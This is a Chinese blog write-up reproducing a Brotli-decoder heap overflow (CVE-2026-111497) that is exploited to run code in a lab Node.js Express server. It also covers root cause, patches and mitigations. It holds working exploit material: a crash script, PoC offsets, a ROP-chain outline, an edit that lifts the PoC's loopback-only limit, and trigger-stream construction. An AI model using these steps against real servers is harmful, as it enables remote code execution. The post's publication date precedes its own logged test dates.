5125 字
26 分钟
Node.js Brotli 解码器越界写到 RCE(CVE-2026-111497)复现

CVE-2026-111497 是 Google Brotli 解码器中的堆越界写,2026 年 10 月 21 日由 Node.js 披露,社区将其命名为 node2shell。该问题随后被确认影响 Python、curl、Envoy 等一批使用同一解码器的组件,因此也被称为 HTTP2Shell。CVSS 4.0 评分 9.2,CVSS 3.1 评分 8.1。10 月 27 日,该编号被列入 CISA 的已知在野利用目录。

受影响版本为 Brotli 1.0.3 至 1.2.0,覆盖过去数年间绝大多数发行版与运行时内置的版本。漏洞成立的条件只有一条:程序解压了攻击者能够控制的 Brotli 数据。Node.js 中常见的入口有两处,一是 body-parser 处理带 Content-Encoding: br 的请求体,二是 fetch() 读取带 br 编码的响应内容。两者都不要求业务代码自行编写解压逻辑。

漏洞基础信息#

漏洞编号CVSS 评分影响版本漏洞类型
CVE-2026-1114979.2(v4.0)Brotli 1.0.3 至 1.2.0,Node.js 22.23.4、24.22.1、26.12.1 之前Brotli 解码器堆越界写,可致 RCE

Node.js 对该批问题的评级为 high,标题为「Brotli decoder out-of-bounds write permits remote code execution」。公告对成因的描述只有一句:无效的块切换被当作临时性的输入不足,而非永久性格式错误,流式解码器因此继续向内部的 8 字节缓冲区追加输入。

同一解码器被多个产品内置,受影响范围并不限于 Node.js:

产品受影响版本修复版本
Google Brotli1.0.3 至 1.0.9、1.1.0、1.2.01.0.10、1.1.1、1.2.1
Node.js22.x < 22.23.4、24.x < 24.22.1、26.x < 26.12.122.23.4、24.22.1、26.12.1
Bun< 1.4.41.4.4
.NET / PowerShell内置 Brotli 副本10 月 25 日带外更新
Python(requests、httpx、aiohttp 等经 libbrotli)随发行版发行版与厂商补丁
Envoy、Istio内置 Brotli10 月 26 日前后
WordPress(经 libcurl)系统 libbrotli升级系统库

漏洞复现#

环境搭建#

靶标采用 PoC 仓库自带的 Express 实验室,基础镜像以 digest 固定:

Terminal window
┌──(kali㉿kali)-[~]
└─$ grep 'ARG NODE_IMAGE' lab/v24.22.0/express-body-parser/Dockerfile
ARG NODE_IMAGE=node@sha256:925de64a85319052d6971ae81ef2417da956e8a3a2c4a0fac732327970f017f5

Express 是 Node.js 上的 Web 框架,其默认请求体解析中间件为 body-parser。靶标仅包含两个路由:

const express = require('express');
const app = express();
app.get('/health', (_request, response) => response.end('PONG\n'));
app.post('/upload', express.json(), (_request, response) => response.end('DONE\n'));
app.use((error, _request, response, _next) => {
response.status(400).end(`ERR ${error.code || error.type || error.message}\n`);
});
app.listen(3000, '0.0.0.0');

/upload 使用 express.json() 解析请求体,该步骤由 body-parser 完成。构建与启动均在靶机上执行。容器内的进程由一层循环拉起,进程终止后会被重新启动,这一点在后续验证中会用到:

Terminal window
┌──(kali㉿kali)-[~]
└─$ sudo docker build --pull -t cve-2026-111497-lab:v24.22.0-express \
-f lab/v24.22.0/express-body-parser/Dockerfile lab/v24.22.0/express-body-parser
└─$ sudo docker images --format '{{.Repository}}:{{.Tag}} {{.ID}}' | grep cve-2026-111497
cve-2026-111497-lab:v24.22.0-express 8ecdeef9dac7
└─$ sudo docker run -d --name cve-111497-express --entrypoint sh \
-e UV_THREADPOOL_SIZE=1 -p 3000:3000 cve-2026-111497-lab:v24.22.0-express \
-lc "while true; do node /app/server.js; sleep 0.1; done"
└─$ curl -s -i http://127.0.0.1:3000/health | head -3
HTTP/1.1 200 OK
X-Powered-By: Express

UV_THREADPOOL_SIZE=1 属于靶标设定的一部分,PoC 的堆布局按单线程池标定。

目标探测#

首先确定开放的端口。从攻击机执行全端口扫描:

Terminal window
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS -Pn -T4 -sV -p- --script "default,vulners" 192.168.31.148
Nmap scan report for 192.168.31.148
Host is up (0.00060s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.2p1 Debian 6 (protocol 2.0)
| vulners:
| cpe:/a:openbsd:openssh:10.2p1:
| CVE-2026-60002 9.4 https://vulners.com/cve/CVE-2026-60002
| …(其余 26 条为 2026 年的条目,只按版本号匹配,略)
3000/tcp open http Node.js Express framework
MAC Address: 00:0C:29:B3:23:74 (VMware)
# Nmap done at Wed Nov 4 04:59:15 2026 -- 1 IP address (1 host up) scanned in 17.32 seconds

对外仅开放 SSH 与 3000,无防火墙拦截。nmap 依据 X-Powered-By: Express 等响应特征将 3000 识别为 Node.js Express framework,未给出具体版本号。

其次确认站点的功能范围:

Terminal window
┌──(kali㉿kali)-[~]
└─$ curl -s -i http://192.168.31.148:3000/ | head -6
HTTP/1.1 404 Not Found
X-Powered-By: Express
Content-Security-Policy: default-src 'none'
Content-Type: text/html; charset=utf-8
Content-Length: 139
└─$ curl -s http://192.168.31.148:3000/health
PONG
└─$ curl -s -X POST -H "Content-Type: application/json" -d '{"a":1}' http://192.168.31.148:3000/upload
DONE

根路径返回 Express 默认 404 页;/health 返回 PONG;/upload 仅接受 POST,请求体解析后即被丢弃,路由本身不处理任何业务。

既然是 Node 应用,继续尝试常见的版本泄露路径:

Terminal window
┌──(kali㉿kali)-[~]
└─$ curl -s -I http://192.168.31.148:3000/health | head -6
HTTP/1.1 200 OK
X-Powered-By: Express
Date: Wed, 04 Nov 2026 03:44:37 GMT
Connection: keep-alive
Keep-Alive: timeout=5
└─$ for p in package.json node_modules/node/package.json .nvmrc server-info; do
printf '%-32s %s\n' "$p" "$(curl -s -o /dev/null -w '%{http_code} %{size_download}' http://192.168.31.148:3000/$p)"
done
package.json 404 151
node_modules/node/package.json 404 169
.nvmrc 404 145
server-info 404 150

响应头中既无 Server 字段,也无任何携带版本号的字段;几个常见的构建信息文件均返回 404。版本信息无法通过该路径获得。

最后确认攻击面。业务逻辑本身没有可利用之处,值得关注的是 /upload 会将请求体交由中间件解析,而该中间件支持压缩编码。HTTP 允许客户端压缩请求体发送,并通过 Content-Encoding 声明所用算法,由服务端负责解压。发送一段非 Brotli 数据并声明 Content-Encoding: br:

Terminal window
┌──(kali㉿kali)-[~]
└─$ printf "garbage" > /tmp/bad.br
└─$ curl -s -i -X POST -H "Content-Type: application/json" -H "Content-Encoding: br" \
--data-binary @/tmp/bad.br http://192.168.31.148:3000/upload | head -8
HTTP/1.1 400 Bad Request
X-Powered-By: Express
Content-Length: 32
ERR ERR__ERROR_FORMAT_PADDING_1

返回值为 Brotli 解码器自身的错误枚举,说明这段字节确实进入了解码器,且输入内容完全由攻击者控制。至此攻击面确定。

漏洞验证#

第一次验证解码器确实在解压所发送的数据。node 自带 zlib,brotliCompressSync() 生成的是标准 Brotli 流,压缩一段 JSON 后仅 11 字节:

Terminal window
┌──(kali㉿kali)-[~]
└─$ cat > /tmp/mkbr.js <<'JS'
const z = require("zlib"), fs = require("fs");
fs.writeFileSync("/tmp/ok.br", z.brotliCompressSync(Buffer.from(JSON.stringify({a:1}))));
console.log("wrote", fs.statSync("/tmp/ok.br").size);
JS
└─$ node /tmp/mkbr.js
wrote 11
└─$ curl -s -i -X POST -H "Content-Type: application/json" -H "Content-Encoding: br" \
--data-binary @/tmp/ok.br http://192.168.31.148:3000/upload | head -3
HTTP/1.1 200 OK

合法流被正常解开,JSON 解析通过,返回 200。

第二次验证畸形流对进程的影响。PoC 中负责发送触发流的是 http_body_attack(),它调用 trigger_stages() 生成两段流,按 chunked 方式发送,中间间隔 0.5 秒。外层加入健康检查即可判断进程是否终止:

/tmp/crash_demo.py
import os, socket, sys, time
os.environ["POC_ALLOW_LAN"] = "1"
sys.path.insert(0, "/home/kali/node2shell")
import poc_lan as N
profile = N.load_profiles()["node-24.22.0-express-5.3.0-bookworm-x86_64"]
targets = N.resolve_loopback("192.168.31.148", 3000)
def health():
try:
s = socket.create_connection(("192.168.31.148", 3000), timeout=2)
s.sendall(b"GET /health HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n")
ok = b"200" in s.recv(64)
s.close()
return ok
except OSError:
return False
print("before:", health())
try:
N.http_body_attack(profile, targets, 10)
except OSError as exc:
print("trigger aborted:", type(exc).__name__)
down = 0
for _ in range(20):
if not health():
down += 1
time.sleep(0.1)
print("down samples:", down)
print("after 1s:", health())

poc_lan 是 poc.py 放开回环限制后的副本,具体改动见漏洞利用一节。脚本中自行实现的部分只有 health(),每 100 毫秒请求一次 /health。

Terminal window
┌──(kali㉿kali)-[~]
└─$ python3 /tmp/crash_demo.py
before: True
down samples: 3
after 1s: True

20 次采样中有 3 次连接失败,对应进程终止到被重新启动之间的窗口。重复执行时该数值在 2 到 3 之间波动。靶机日志如下:

Terminal window
┌──(kali㉿kali)-[~]
└─$ sudo docker logs --tail 4 cve-111497-express
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault

此时只能确认进程终止,无法确认崩溃位置。要让 node 运行在调试器下,需要一个包含 gdb 的镜像:

Terminal window
┌──(kali㉿kali)-[~]
└─$ cat > /tmp/Dockerfile.gdb <<'EOF'
FROM cve-2026-111497-lab:v24.22.0-express
USER root
RUN apt-get update && apt-get install -y --no-install-recommends gdb
EOF
└─$ sudo docker build -q -t n2s-gdb -f /tmp/Dockerfile.gdb /tmp
sha256:6b173dc7fbc1860de2751d2a2c792a5b6674cd4cb6d7b7ba6fc20985e7a6efd1
└─$ sudo docker run -d --name n2s-gdb --cap-add=SYS_PTRACE -p 3002:3000 \
--entrypoint gdb n2s-gdb -q -batch -ex run -ex "bt 12" --args node /app/server.js

gdb 启动 node 后,从攻击机向 3002 端口发送同一段触发流。进程收到 SIGSEGV 时 gdb 自动输出调用栈:

Terminal window
┌──(kali㉿kali)-[~]
└─$ sudo docker logs n2s-gdb 2>&1 | tail -8
Thread 9 "libuv-worker" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fc0ad7ee6c0 (LWP 26)]
0x000000000238a197 in ProcessCommands ()
#0 0x000000000238a197 in ProcessCommands ()
#1 0x000000000238c7c0 in BrotliDecoderDecompressStream ()
#2 0x0000000000adb61b in node::(anonymous namespace)::BrotliDecoderContext::DoThreadPoolWork() ()
#3 0x00000000008b9de4 in node::ThreadPoolWork::ScheduleWork()::{lambda(uv_work_s*)#1}::_FUN(uv_work_s*) ()
#4 0x0000000001a2f260 in worker (arg=0x0) at ../deps/uv/src/threadpool.c:123
#5 0x00007fc0ed1321f5 in ?? () from /lib/x86_64-linux-gnu/libc.so.6
#6 0x00007fc0ed1b1b50 in clone () from /lib/x86_64-linux-gnu/libc.so.6

崩溃点位于 ProcessCommands,其调用者为 BrotliDecoderDecompressStream,线程为 libuv 的 worker。至此可以确认,这段几十字节的数据流确实导致 Brotli 解码器崩溃,而非其他原因引起的进程退出。

第三次为完整利用,见下一节。

漏洞利用#

利用脚本为 PoC 仓库中的 poc.py,分为三部分:profiles.json 保存各构建的偏移,生成函数负责构造 Brotli 流,最外层函数按时间顺序发送请求并判定结果。

由于版本无法获取,只能以 profile 作为探针。每份 profile 对应一个具体构建,堆偏移、落点与第二段长度均按该二进制标定,更换构建即不成立。按候选依次尝试,哪一份产出 id 输出,即可确定目标对应的构建。

profile 内容如下:

Terminal window
┌──(kali㉿kali)-[~]
└─$ python3 -c "import json;print(json.dumps(json.load(open('profiles.json'))['profiles']['node-24.22.0-express-5.3.0-bookworm-x86_64']['probe'],indent=1))"
{
"transport": "http-express-socket-rce",
"port": 3000,
"content_type": "application/json",
"prefix_size": 1031,
"copy_source_offset": "0x367",
"command_block_extra": "0xffffff",
"second_stage_size": 256,
"stage_delay_seconds": 0.5,
"restart_timeout_seconds": 8.0,
"attempts": 16,
"staged_positions": ["0x137ed748"],
"accepted_socket_fd": 19
}

prefix_size 为越界写搬运的可控数据长度,copy_source_offset 为该数据在流中的起始偏移,staged_positions 为推测的落点。accepted_socket_fd 取 19 并非固定常数:监听 socket、日志与 libuv 事件占用的描述符会改变编号,19 是在该容器中实测得到的值,启动顺序不同则取值不同。

流的生成分为两层。generate_stream() 构造触发无效块切换的最小畸形流,启动时以 sha256 校验其未被修改,期望值为 b7a6508e…。generate_rce_stream(prefix, extra) 在该流基础上编入 1031 字节前缀。

前缀由 express_socket_rce_stages() 构造。起始两条指令为 mov rax, rdi; ret 与 pivot rsp, rax+0x30,用于将栈迁移至前缀;其后的链依次为 pop rsi、pop rbx、pop rdi 加 19、dup2 的 PLT 地址、execvp 的调用点,末尾写入 /usr/bin/id。所有偏移均来自 profile。

发包由 http_express_socket_rce_attack() 负责,每轮执行四步:

  1. 等待 /health 返回 200,确认当前 node 进程为新启动的实例。
  2. 建立连接,按 chunked 发送第一段:请求头携带 Content-Encoding: br 与 Content-Type: application/json,第一块 body 为前缀与跳转链。
  3. 间隔 0.5 秒后发送第二段 rce_stage_two(pos, 256)。该 256 字节中第 7 个字节为 8,偏移 15 处为落点地址,其后两个字段填入 0x7FFFFFFF。
  4. 读取该连接上的响应,以正则匹配 uid=… gid=…。

未命中时的处理同样在该循环中:调用 http_body_attack() 再发送一次崩溃流,以 wait_http_unhealthy() 确认旧进程已终止,再以 wait_http_healthcheck() 等待新进程就绪,随后在新的地址布局下进入下一轮。默认 16 轮。

参考实现仅允许连接本机回环,限制位于 resolve_loopback() 中。跨主机利用需要放开该限制,本文复制了一份 poc_lan.py:

if normalized_host not in ALLOWED_TARGET_HOSTS:
if normalized_host not in ALLOWED_TARGET_HOSTS and not os.environ.get("POC_ALLOW_LAN"):

三次执行分别在第 1、4、9 轮命中。第一次的记录如下:

Terminal window
┌──(kali㉿kali)-[~]
└─$ POC_ALLOW_LAN=1 python3 poc_lan.py --profile node-24.22.0-express-5.3.0-bookworm-x86_64 \
--host 192.168.31.148 --port 3000 --timeout 30 --attempts 50
attempt=1/50 staged_position=0x137ed748
PASS: RCE verified by fresh id output through the declared interface
profile=node-24.22.0-express-5.3.0-bookworm-x86_64
proof_channel=HTTP request socket stdout
proof_command=id
proof_stdout=uid=1000(node) gid=1000(node) groups=1000(node)
successful_attempt=1

另外两次在同一靶标上重跑,命中轮次分别是第 4 轮与第 9 轮:

Terminal window
┌──(kali㉿kali)-[~]
└─$ POC_ALLOW_LAN=1 python3 poc_lan.py --profile node-24.22.0-express-5.3.0-bookworm-x86_64 \
--host 192.168.31.148 --port 3000 --timeout 30 --attempts 50
# 中间省略若干 attempt 行
PASS: RCE verified by fresh id output through the declared interface
proof_stdout=uid=1000(node) gid=1000(node) groups=1000(node)
successful_attempt=4
└─$ POC_ALLOW_LAN=1 python3 poc_lan.py --profile node-24.22.0-express-5.3.0-bookworm-x86_64 \
--host 192.168.31.148 --port 3000 --timeout 30 --attempts 50
# 中间省略若干 attempt 行
PASS: RCE verified by fresh id output through the declared interface
proof_stdout=uid=1000(node) gid=1000(node) groups=1000(node)
successful_attempt=9

轮次并不固定,说明结果并非偶然,id 的输出确实由目标进程执行命令后写回连接。

作为对照,同一段触发流发送至修复版本。启动 24.22.1 容器并监听 3001,以相同函数发送:

Terminal window
┌──(kali㉿kali)-[~]
└─$ sudo docker run -d --name cve-111497-patched -p 3001:3000 cve-2026-111497-lab:v24.22.1-express
└─$ python3 - <<'PY'
import os, sys
os.environ["POC_ALLOW_LAN"] = "1"
sys.path.insert(0, "/home/kali/node2shell")
import poc_lan as N
prof = N.load_profiles()["node-24.22.0-express-5.3.0-bookworm-x86_64"]
resp = N.http_body_attack(prof, N.resolve_loopback("192.168.31.148", 3001), 10)
print(resp.decode("latin-1"))
PY
HTTP/1.1 400 Bad Request
X-Powered-By: Express
Connection: close
Content-Length: 35
ERR ERR__ERROR_FORMAT_BLOCK_SWITCH

修复版本在块切换处停止,返回明确的格式错误,进程继续提供服务。该错误码同样可以作为检测特征。

复现结束后,靶标容器 cve-111497-express 仍在 3000 端口运行,调试用的 n2s-gdb 与补丁版本实例已删除。攻击流量从 192.168.31.152 直达靶机,未经跳板,服务端返回的 400 响应与崩溃记录都会留在靶机的日志里。

漏洞核心原理#

越界写的成因#

Brotli 数据按元块(meta-block)组织,元块开头包含块类型与块切换指令。解码器在解析过程中维护三个块的剩余长度 block_length[0..2],分别对应字面量、插入拷贝与距离。当某个长度归零时,解码器读取下一个块切换指令。

读取切换指令的函数为 DecodeBlockTypeAndLength()。其开头的类型检查是完整的:

if (max_block_type <= 1) {
return BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH;
}

但后续的块长度读取使用「安全读取」逻辑,读取失败时返回的是 BROTLI_DECODER_NEEDS_MORE_INPUT:

if (!SafeReadBlockLength(s, &s->block_length[tree_type], len_tree, br)) {
s->substate_read_block_length = BROTLI_STATE_READ_BLOCK_LENGTH_NONE;
BrotliBitReaderRestoreState(br, &memento);
return BROTLI_DECODER_NEEDS_MORE_INPUT;
}

调用方 ProcessCommandsInternal() 通过 BROTLI_SAFE_WITH_STATUS 将该状态原样返回,认为只是数据不足,等待下一次调用补齐。

解码器内部有一块 8 字节的输入暂存区:

union {
uint64_t u64;
uint8_t u8[8];
} buffer;
brotli_reg_t buffer_length;
int pos;
int max_backward_distance;
int max_distance;

每次调用进入时,未读完的字节会被追加到该数组:

BROTLI_DCHECK(s->buffer_length < 8);
s->buffer.u8[s->buffer_length] = **next_in;
s->buffer_length++;

BROTLI_DCHECK 仅在启用调试时生效,发布版本中该行不做任何检查。状态机持续认为输入不足,调用方持续提供数据,buffer_length 超过 8 后,写入位置落在紧随其后的字段上:先是 buffer_length 自身,随后是 pos、max_backward_distance 与 max_distance。

这些字段决定解码器从环形缓冲的哪个位置读取、最多可回退多远。被覆盖后,后续拷贝操作随之偏移,写入位置由攻击者提供的字节决定。

前面 gdb 捕获的崩溃点位于 ProcessCommands,正是使用这些字段的位置,与该路径一致。

攻击者的 Brotli 流进入解码器的路径

从越界写到代码执行#

越界写本身只是写错位置。要走到执行命令,还需三个条件同时成立:写出的内容可控、落点是被调用的指针、能够迁移栈。

PoC 采用堆对象覆盖。第一段请求先将 1031 字节前缀准备好,越界写将其整体复制到缓冲区之后的固定偏移处,覆盖目标对象。该对象下一次被调用时,指针已被替换为 mov rax, rdi; ret,rdi 指向对象自身,rax 中即为攻击者可控内存的地址。第二条 pivot rsp, rax+0x30 将栈指针迁移过去,随后执行 ROP 链。

ROP 是应对地址随机化的手段:ASLR 使每次进程启动后库的加载地址不同,无法直接调用某个函数,只能将地址已知的短指令序列按顺序串联执行。此处最终需要完成的动作很少:将当前请求的 socket 复制到标准输出,随后以 execve 执行命令。

越界写之后控制流怎么走到 execve

为什么需要多轮尝试#

堆越界写的落点依赖当时的堆布局,地址又受 ASLR 影响,每一轮进程启动后的随机化结果均不相同。PoC 将位置固定为一个候选值,命中则成功,未命中则触发段错误。

段错误本身也有利用价值:容器内的重启循环会重新启动 node,新进程带有新的地址布局。PoC 在每次失败后主动发送一次崩溃请求,待健康检查失败、新进程就绪后进入下一轮。profile 默认 16 轮,实测三次分别在第 1、第 4 与第 9 轮命中。

真实环境中的可利用性差异较大。Node.js 将该问题定为 high,理由是触发条件简单,只要解压不可信数据即有机会;但稳定利用需要特定的构建、线程模型与堆状态。PoC 作者在 README 中亦说明:RCE 结果只对三个精确的 Linux x86-64 实验室成立。

附:触发流的构造#

本节说明畸形流的构造方式,仅需复现的读者可以跳过。以下字段名与取值对照 RFC 7932 第 9.1 节(流头)与第 9.2 节(元块头),位流按小端写入,与规范中「位从右到左解析」的约定一致。

bits.put(1, 1); bits.put(0, 3) # WBITS = 17
bits.put(2, 3) # ISLAST = 0,MNIBBLES = 6
bits.put(0xFFFFFF, 24); bits.put(0, 1) # MLEN - 1,ISUNCOMPRESSED = 0
varlen_u8(bits, 0); varlen_u8(bits, 1); varlen_u8(bits, 0)
# NBLTYPESL=1、NBLTYPESI=2、NBLTYPESD=1
one_symbol_tree(bits, 4, 0) # I&C 块类型码表,4 个符号
one_symbol_tree(bits, 26, 25) # I&C 块计数码表,26 个符号,取第 25 号
bits.put(0xFFFFFF, 24) # 第一个 I&C 块计数的 24 位额外值
bits.put(3, 6); bits.put(0, 2) # NPOSTFIX = 3、NDIRECT = 0,字面量上下文模式
varlen_u8(bits, 0); varlen_u8(bits, 0) # NTREESL = 1、NTREESD = 1
one_symbol_tree(bits, 256, 0) # 字面量树
one_symbol_tree(bits, 704, 130) # 第一张插入拷贝树
one_symbol_tree(bits, 704, 130) # 第二张插入拷贝树
one_symbol_tree(bits, 400, 184) # 距离树

逐项说明。

WBITS 写作 1 加三位 0,按 §9.1 的变长编码为 17,窗口大小为 128KB。

MNIBBLES 取 6,表示后续长度字段占 6 个半字节,即 24 位。紧随其后的 0xFFFFFF 为 MLEN - 1,因此该元块声明输出 16MB 数据;ISUNCOMPRESSED 为 0,表示数据经过压缩。

三个 varlen_u8 对应字面量、插入拷贝、距离三类块的块类型数量,分别为 1、2、1。插入拷贝有 2 个块类型,因此需额外写入一套块类型码表与块计数码表,即 one_symbol_tree(4, 0) 与 one_symbol_tree(26, 25)。其后的 24 位为第一个插入拷贝块的计数,取值 0xFFFFFF 表示该块包含 2 的 24 次方条命令。

NPOSTFIX = 3、NDIRECT = 0 决定距离码表大小:16 + (48 左移 3 位) = 400,与最后一张 one_symbol_tree(400, 184) 对应。其间的 2 位为字面量上下文模式。

四张树均只含一个符号。one_symbol_tree() 先写两位 1 表示简单前缀码,再写两位表示符号数减一,最后按字母表宽度写入符号值。解码器获得此类码表后,每个待解码字段只有唯一结果,无需真实数据即可推进状态。

具体触发点尚未从源码逐位还原。公开分析的说法是:距离块剩余长度耗尽后,解码器读取块切换指令失败,该状态被当作「需要更多输入」,而这一分支本应返回格式错误。

第二段流由 trigger_stages() 生成,长度 127 字节:第 7 个字节为 8,偏移 15 处为 0x7FFFFFFF,偏移 19 与 23 处同为 0x7FFFFFFF。解码器将这些字段解读为仍有极长数据待处理,后续每个输入字节均被追加至 8 字节暂存区。两段之间间隔 0.5 秒,使解码器先接收第一段的状态,第二段到达时沿该状态继续写入。

修复方案#

升级至修复版本:

  • Node.js 22.23.4、24.22.1、26.12.1
  • Bun 1.4.4
  • Google Brotli 1.0.10、1.1.1、1.2.1
  • 其它语言与发行版见前述影响面表

补丁后的行为可直接观察:同样的畸形流发送至修复版本,请求以 400 结束,响应体为 ERR__ERROR_FORMAT_BLOCK_SWITCH,进程不终止。该错误码可作为检测特征。

自查是否暴露#

服务端是否解压 Brotli 可直接验证。携带 Content-Encoding: br 发送一段无意义字节,若返回 400 且响应体包含 ERR__ERROR_FORMAT 一类的解码器错误码,说明请求确实进入 Brotli 解码器;若返回 415 或原样接收,说明未解压。

Node 侧可在本地查询:

Terminal window
┌──(kali㉿kali)-[~]
└─$ node -p "process.version + ' brotli=' + process.versions.brotli"
v24.22.0 brotli=1.2.0

Express 的 body-parser 默认开启 inflate,接受 gzip、deflate 与 br 三种压缩。不需要压缩请求体的服务可将其关闭:

app.use(express.json({ inflate: false }));

关闭后带压缩头的请求直接返回 415(body-parser 中的 content encoding unsupported),不会进入解码器。以同样的应用加 inflate: false 启动一个实例验证:

Terminal window
┌──(kali㉿kali)-[~]
└─$ sudo docker run -d --name n2s-415 -p 3003:3000 --entrypoint node \
cve-2026-111497-lab:v24.22.0-express -e "const e=require('/app/node_modules/express');\
const a=e();a.use(e.json({inflate:false}));a.post('/u',(q,r)=>r.end('OK'));a.listen(3000,'0.0.0.0')"
└─$ curl -s -i -X POST -H "Content-Type: application/json" -H "Content-Encoding: br" \
--data-binary 'garbage' http://127.0.0.1:3003/u | head -2
HTTP/1.1 415 Unsupported Media Type
X-Powered-By: Express

需要在网关层收窄的,可将 Content-Encoding 白名单限制为业务实际使用的算法。

批量排查可使用探测流:向候选目标发送若干携带 Content-Encoding: br 的请求体,观察返回解码器错误码的主机。公开分析中记录过类似手法,一次发送 20 个 body、分两批进行,用于判断哪些主机在解压 Brotli。

临时缓解#

无法立即升级时,最直接的措施是不解压不可信的 Brotli。前述 inflate: false 或网关白名单均属此类。

限制请求体大小可降低成功率,但不能根治,越界写只需要几十字节的数据流。

已 EOL 的 Node.js 18 与 20 不再提供常规补丁,Aikido 等厂商提供了预修补的镜像。

参考链接#

Node.js Brotli 解码器越界写到 RCE(CVE-2026-111497)复现
https://blog.mal-suen.cn/posts/2026/11/223/
作者
Malcolm
发布于
2026-11-02
许可协议
CC BY-NC-SA 4.0